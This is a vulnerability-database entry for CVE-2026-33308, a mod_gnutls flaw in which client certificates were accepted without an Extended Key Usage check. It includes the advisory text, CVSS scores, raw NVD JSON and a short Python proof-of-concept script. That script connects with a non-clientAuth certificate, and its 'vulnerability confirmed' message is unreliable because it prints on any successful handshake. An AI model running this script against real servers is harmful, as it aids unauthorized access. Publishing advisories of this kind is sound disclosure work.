Security Vulnerability Report
中文
CVE-2026-33308 CVSS 6.8 MEDIUM

CVE-2026-33308

Published: 2026-03-24 03:16:06
Last Modified: 2026-03-24 19:28:16

Description

Mod_gnutls is a TLS module for Apache HTTPD based on GnuTLS. Prior to version 0.13.0, code for client certificate verification did not check the key purpose as set in the Extended Key Usage extension. An attacker with access to the private key for a valid certificate issued by a CA trusted for TLS client authentication but designated for a different purpose could have used that certificate to improperly access resources requiring TLS client authentication. Server configurations that do not use client certificates (`GnuTLSClientVerify ignore`, the default) are not affected. The problem has been fixed in version 0.13.0 by rewriting certificate verification to use `gnutls_certificate_verify_peers()`, and requiring key purpose id-kp-clientAuth (also known as `tls_www_client` in GnuTLS) by default if the Extended Key Usage extension is present. The new `GnuTLSClientKeyPurpose` option allows overriding the expected key purpose if needed (please see the manual for details). Behavior for certificates without an Extended Key Usage extension is unchanged. If dedicated (sub-)CAs are used for issuing TLS client certificates only (not for any other purposes) the issue has no practical impact.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mod_gnutls_project:mod_gnutls:*:*:*:*:*:*:*:* - VULNERABLE
Mod_gnutls < 0.13.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import ssl import socket """ Proof of Concept for CVE-2026-33308 This script attempts to connect to a target server using a certificate that is valid and signed by the trusted CA but lacks the 'clientAuth' Extended Key Usage (EKU). In vulnerable versions of Mod_gnutls (< 0.13.0), this may bypass the intended purpose check. """ target_host = 'example.com' target_port = 443 # Certificate signed by trusted CA but for a different purpose (e.g., serverAuth only) cert_file = 'malicious_cert.pem' key_file = 'malicious_key.pem' context = ssl.create_default_context() context.load_cert_chain(certfile=cert_file, keyfile=key_file) try: with socket.create_connection((target_host, target_port)) as sock: with context.wrap_socket(sock, server_hostname=target_host) as ssock: print(f"[+] Successfully connected to {target_host}") print(f"[+] Negotiated Cipher: {ssock.cipher()}") print("[+] Authenticated with non-clientAuth certificate. Vulnerability confirmed.") except ssl.SSLError as e: print(f"[-] SSL Handshake failed (Server may be patched): {e}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33308", "sourceIdentifier": "[email protected]", "published": "2026-03-24T03:16:06.080", "lastModified": "2026-03-24T19:28:16.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mod_gnutls is a TLS module for Apache HTTPD based on GnuTLS. Prior to version 0.13.0, code for client certificate verification did not check the key purpose as set in the Extended Key Usage extension. An attacker with access to the private key for a valid certificate issued by a CA trusted for TLS client authentication but designated for a different purpose could have used that certificate to improperly access resources requiring TLS client authentication. Server configurations that do not use client certificates (`GnuTLSClientVerify ignore`, the default) are not affected. The problem has been fixed in version 0.13.0 by rewriting certificate verification to use `gnutls_certificate_verify_peers()`, and requiring key purpose id-kp-clientAuth (also known as `tls_www_client` in GnuTLS) by default if the Extended Key Usage extension is present. The new `GnuTLSClientKeyPurpose` option allows overriding the expected key purpose if needed (please see the manual for details). Behavior for certificates without an Extended Key Usage extension is unchanged. If dedicated (sub-)CAs are used for issuing TLS client certificates only (not for any other purposes) the issue has no practical impact."}, {"lang": "es", "value": "Mod_gnutls es un módulo TLS para Apache HTTPD basado en GnuTLS. Antes de la versión 0.13.0, el código para la verificación de certificados de cliente no verificaba el propósito de la clave tal como se establece en la extensión de Uso Extendido de Clave. Un atacante con acceso a la clave privada de un certificado válido emitido por una CA de confianza para la autenticación de cliente TLS pero designado para un propósito diferente podría haber utilizado ese certificado para acceder indebidamente a recursos que requieren autenticación de cliente TLS. Las configuraciones de servidor que no utilizan certificados de cliente ('GnuTLSClientVerify ignore', el valor predeterminado) no se ven afectadas. El problema se ha solucionado en la versión 0.13.0 reescribiendo la verificación de certificados para usar 'gnutls_certificate_verify_peers()' y requiriendo el propósito de clave id-kp-clientAuth (también conocido como 'tls_www_client' en GnuTLS) por defecto si la extensión de Uso Extendido de Clave está presente. La nueva opción 'GnuTLSClientKeyPurpose' permite anular el propósito de clave esperado si es necesario (consulte el manual para más detalles). El comportamiento para certificados sin una extensión de Uso Extendido de Clave no ha cambiado. Si se utilizan CA (o sub-CA) dedicadas solo para emitir certificados de cliente TLS (no para ningún otro propósito), el problema no tiene impacto práctico."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mod_gnutls_project:mod_gnutls:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.13.0", "matchCriteriaId": "E476F8C2-BB73-4776-A192-67E20C9CE6EC"}]}]}], "references": [{"url": "https://github.com/airtower-luna/mod_gnutls/security/advisories/GHSA-hm2g-m958-8qgh", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}